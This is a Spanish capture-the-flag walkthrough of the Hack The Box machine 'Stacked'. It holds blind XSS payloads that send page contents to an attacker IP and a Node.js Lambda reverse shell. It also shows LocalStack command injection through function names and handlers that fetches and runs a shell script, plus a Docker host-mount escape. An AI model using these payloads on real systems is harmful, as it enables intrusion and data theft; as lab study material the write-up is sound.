Stacked
sudo nmap 10.129.228.28 -sS -p- -n -Pn --min-rate 5000 --open -oG allPorts -vvv
sudo nmap 10.129.228.28 -p22,80,2376 -sCV -oN targeted
echo '10.129.228.28 stacked.htb' >> /etc/hosts
El puerto 80 tiene la típica página estática.
Fuzzemos subdominios.
ffuf -u http://stacked.htb -H "Host: FUZZ.stacked.htb" -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -mc all -ac -t 150
Añadimos portfolio al hosts
Hay un botón de descarga de un docker-compose.yml
version: "3.3"
services:
localstack:
container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
image: localstack/localstack-full:0.12.6
network_mode: bridge
ports:
- "127.0.0.1:443:443"
- "127.0.0.1:4566:4566"
- "127.0.0.1:4571:4571"
- "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
environment:
- SERVICES=serverless
- DEBUG=1
- DATA_DIR=/var/localstack/data
- PORT_WEB_UI=${PORT_WEB_UI- }
- LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
- LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY- }
- KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
- DOCKER_HOST=unix:///var/run/docker.sock
- HOST_TMP_FOLDER="/tmp/localstack"
volumes:
- "/tmp/localstack:/tmp/localstack"
- "/var/run/docker.sock:/var/run/docker.sock"
Probamos un path traversal
GET /files/../../../../../../../../../../../etc/passwd HTTP/1.1
Probamos fuzzing con gobuster, con extensiones .php también :
process.php tiene que ver con el formulario de contacto, probamos a enviar algún XSS a ver si recibimos alguna petición.
POST /process.php HTTP/1.1
Host: portfolio.stacked.htb
Content-Length: 76
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
fullname=ts&email=test@test.com&tel=346555668333&subject=<img src=http://10.10.17.48>&message=<img src=http://10.10.17.48>
Probamos también a fuzzear /files
gobuster dir -u http://portfolio.stacked.htb/files/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 150 -x php,txt,bak,yml
Además también estaba el puerto 2376 de docker, que es el típico puerto de docker pero TLS.
Probamos a conectarnos pero parece ser que el servidor nos pide un certificado que no tenemos
curl -k https://10.129.228.28:2376/containers/json -vI
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
Probamos a fuzzear stacked.htb
En /sass no parece haber nada.
Volvemos al formulario de contactoy probamos otros payloads de XSS , con algunos payloads nos tira este error:
{"success":false,"error":"XSS detected!"}
Vamos a tratar de bypassear este filtro:
Primero tratamos de fuzzear por caracteres : All printable ASCII for Burp Intruder #python >>> import strings >>> for i in string.printable: ... print i · GitHub y parece ser que están todos permitidos.
A continuación fuzzeamos por etiquetas y hay unas cuantas que nos detectan Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
A continuación fuzzeamos por eventos usando la etiqueta <svg> por ejemplo
Lamentablemente todos nos tiran error.
La idea sería ir iterando sobre todas las etiquetas que no dan error e ir metiendo al intruder los payloads a ver si hay algún payload que no tire error.
Tras varias pruebas encontramos que todos los eventos se están bloqueando, más que nada se está buscando on dentro de la etiqueta
<img on>
Además otras formas de ejecutar sin eventos parecen fallar, por ejemplo
javascript:
Probamos ya cosas más avanzadas sin éxito:
<IMG SRC=java\0script:fetch('http://10.10.14.33/test.png')>
Probamos en la cabecera Referer si hay suerte
Referer: "><img src='http://10.10.14.33/test.png'>
python3 -m http.server 80
Y efectivamente a los 2 minutos recibimos una petición, se trata de un Blind XSS
Para ver más info de la petición entrante nos ponemos en escucha con netcat, en vez de con python
nc -lvnp 80
GET /test.png HTTP/1.1
Host: 10.10.14.33
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mail.stacked.htb/read-mail.php?id=2
Connection: keep-alive
Añadimos mail al /etc/hosts pero no tenemos alcance.
La idea va a ser ir a ciegas y enviarse el código fuente de la página de mail
"><script>fetch("http://10.10.14.33",{method:"POST",body:btoa(document.documentElement.outerHTML)})</script>
Después de un rato largo nos acaba llegando
Es algo así si lo cargamos desde el navegador
Probamos a leernos read-mail.php :
<script>fetch("http://mail.stacked.htb/read-mail.php").then(r=>r.text()).then(d=>fetch("http://10.10.14.33:80",{method:"POST",body:btoa(d)}))</script>
Resulta que read-mail.php es la misma que hemos capturado antes
Vamos a tratar de leer http://mail.stacked.htb/read-mail.php?id=1
"><script>fetch("http://mail.stacked.htb/read-mail.php?id=1").then(r=>r.text()).then(d=>fetch("http://10.10.14.33:80",{method:"POST",body:btoa(d)}))</script>
Vemos el siguiente correo:
Lo añadimos al hosts , parece que hay un LocalStack
curl http://s3-testing.stacked.htb/health -s
{
"services": {
"cloudformation": "running",
"cloudwatch": "running",
"dynamodb": "running",
"dynamodbstreams": "running",
"iam": "running",
"sts": "running",
"kinesis": "running",
"lambda": "running",
"logs": "running",
"s3": "running",
"apigateway": "running"
}
}
Parece ser que no podemos listar buckets
aws s3 ls --endpoint-url http://s3-testing.stacked.htb --no-sign-request
Parece que los IAM si los podemos enumerar
aws iam get-account-authorization-details --endpoint-url http://s3-testing.stacked.htb --region eu-east-1
Pero efectivamente, como decía el correo, ni usuarios ni grupos están configurados.
Tratamos de listar el resto de servicios.
Como nos dice el correo, solo podemos correr instancias de nodo.
Podemos crear lambdas con código node-js
const { exec } = require('child_process');
exports.handler = (event, context, callback) => {
// Comando de Reverse Shell
const command = 'bash -c "bash -i >& /dev/tcp/10.10.14.33/4444 0>&1"';
exec(command, (error, stdout, stderr) => {
if (error) {
callback(error);
return;
}
callback(null, stdout);
});
};
zip function.zip index.js
aws lambda create-function \
--endpoint-url http://s3-testing.stacked.htb \
--function-name shell \
--runtime nodejs12.x \
--handler index.handler \
--memory-size 128 \
--zip-file fileb://function.zip \
--role arn:aws:iam::123456789012:role/lambda-role
nc -vlnp 4444
aws lambda invoke \
--endpoint-url http://s3-testing.stacked.htb \
--function-name shell \
output.txt
Una vez dentro tratamos de listar las variables de entorno, pero no hay creds.
Escaneamos puertos del host, pero vemos lo mismo
#!/bin/bash
function ctrl_c(){
echo -e "\n\n[!] Saliendo ..."
tput cnorm
exit 1
}
trap ctrl_c INT
#ip=$(hostname -I | sed 's/\.[^.]*$//')
ip=$1
#tput civis
for port in $(seq 1 65535); do
(timeout 1 echo '' > /dev/tcp/$ip/$port) &>/dev/null && echo -e "\t[+] Puerto $port activo"
done
#tput cnorm
./portScan.sh 172.17.0.1
[+] Puerto 22 activo
[+] Puerto 80 activo
[+] Puerto 2376 activo
A continuación buscamos la versión de LocalStack que habíamos sacado antes del docker-compose.yml
localstack/localstack-full:0.12.6
Buscamos vulnerabilidades para la versión:
https://www.sonarsource.com/blog/hack-the-stack-with-localstack/
Encontramos que hay un Command Injection en la interfaz web , pero no tenemos acceso a la interfaz Web desde fuera ni desde el docker de la lambda.
Solo tendremos acceso desde el Blind XSS y hay que tener en cuenta que por política CORS solo vamos a poder enviar la petición, pero no ver la respuesta, lo cuál nos sirve en este caso.
Si leemos el código vulnerable
85 @app.route('/lambda/<functionName>/code', methods=['POST'])
86 def get_lambda_code(functionName):
...
98 result = infra.get_lambda_code(func_name=functionName, env=env)
258 def get_lambda_code(func_name, retries=1, cache_time=None, env=None):
...
264 out = cmd_lambda('get-function --function-name %s' % func_name, env, cache_time)
596 def run(cmd, print_error=True, stderr=subprocess.STDOUT, env_vars=None, inherit_cwd=False, inherit_env=True):
...
613 output = subprocess.check_output(cmd, shell=True, stderr=stderr, env=env_dict, cwd=cwd)
Deducimos que del nombre de la función lambda se puede ejecutar RCE
test;touch sonarsource.txt
Si miramos el docker-compose.yml
"127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
La interfaz de gestión está en el 8080, vamos a probar algo así
"><script>fetch("http://127.0.0.1:8080/lambda/test;ping+10.10.14.33/code",{method:"POST"}).then(r=>r.text()).then(d=>fetch("http://10.10.14.33:80",{method:"POST",body:btoa(d)}))</script>
SI recibimos un ping es que ha funcionado
sudo tcpdump -i tun0 icmp
Recibimos esta respuesta pero no recibimos un ping
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
Probamos a url encodearlo de esta forma:
"><script>fetch("http://127.0.0.1:8080/lambda/test;ping%20-c%202%2010.10.14.33/code",{method:"POST"}).then(r=>r.text()).then(d=>fetch("http://10.10.14.33:80",{method:"POST",body:btoa(d)}))</script>
Después de leer un poco más resulta que no tenemos que pasar el nombre de la función directamente a la petición POST, sino que tenemos que crear la función y cuando la interfaz web 8080 se cargue entonces se pasará al código vulnerable:
El \{$IFS} es un separador universal para linux y para que llegue intacto hay que ponerle la \
aws lambda create-function \
--endpoint-url http://s3-testing.stacked.htb \
--function-name "api;wget\${IFS}10.10.14.33/exploit.sh;bash\${IFS}exploit.sh" \
--runtime nodejs12.x \
--handler index.handler \
--memory-size 128 \
--zip-file fileb://function.zip \
--role arn:aws:iam::123456789012:role/lambda-role
echo '/bin/bash -i >& /dev/tcp/10.10.14.33/4444 0>&1' > exploit.sh
Y ahora habría que hacer que el usuario acceda a la interfaz web
Referer: "><script>document.location="http://127.0.0.1:8080"</script>
Y somos el usuario localstack y estamos en un docker
Tratamos de listar variables de entorno y buscar alguna carpeta que se llame .aws
find / -type d -name ".aws" 2>/dev/null
Como hay muchos puertos abiertos nos cargamos el ligolo
go build -o agent /cmd/agent/main.go
Nos lo llevamos a la máquina
sudo ip tuntap add user <Your Username> mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -selfcert
Tenemos que compilar el agente estáticamente porque sino no encuentra las librerías
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o agent -ldflags "-s -w" cmd/agent/main.go
./agent -connect 10.10.14.33:11601 -ignore-cert
Seleccionamos start
sudo ip route add 172.17.0.0/16 dev ligolo
En el 8081
Pero todo parecen ser rabbit holes
Si creamos una nueva lambda y la ejecutamos se ve este comando
2026/01/22 16:37:47 CMD: UID=0 PID=1141 | /bin/sh -c CONTAINER_ID="$(docker create -i -e DOCKER_LAMBDA_USE_STDIN="$DOCKER_LAMBDA_USE_STDIN" -e LOCALSTACK_HOSTNAME="$LOCALSTACK_HOSTNAME" -e EDGE_PORT="$EDGE_PORT" -e _HANDLER="$_HANDLER" -e AWS_LAMBDA_FUNCTION_TIMEOUT="$AWS_LAMBDA_FUNCTION_TIMEOUT" -e AWS_LAMBDA_FUNCTION_NAME="$AWS_LAMBDA_FUNCTION_NAME" -e AWS_LAMBDA_FUNCTION_VERSION="$AWS_LAMBDA_FUNCTION_VERSION" -e AWS_LAMBDA_FUNCTION_INVOKED_ARN="$AWS_LAMBDA_FUNCTION_INVOKED_ARN" -e AWS_LAMBDA_COGNITO_IDENTITY="$AWS_LAMBDA_COGNITO_IDENTITY" -e NODE_TLS_REJECT_UNAUTHORIZED="$NODE_TLS_REJECT_UNAUTHORIZED" --rm "lambci/lambda:nodejs12.x" "index.handler")";docker cp "/tmp/localstack/zipfile.4e5524b8/." "$CONTAINER_ID:/var/task"; docker start -ai "$CONTAINER_ID";
El handler es también vulnerable a Code Injection
aws lambda --endpoint=http://s3-testing.stacked.htb create-function --region eu-west-1 --function-name "testfunction2" --runtime nodejs8.10 --handler 'lambda.apiHandler $(/bin/bash -c "bash -i &>/dev/tcp/10.10.14.33/9999 0>&1")' --memory-size 128 --zip-file fileb://api-handler.zip --role arn:aws:iam::123456:role/irrelevant
aws lambda --endpoint=http://s3-testing.stacked.htb invoke --region eu-west-1 --function-name "testfunction2" out
Podemos crearnos un nuevo contenedor que tenga montado /
docker run -v /:/mnt --entrypoint sh -it 0601ea177088
Y leer la flag de root.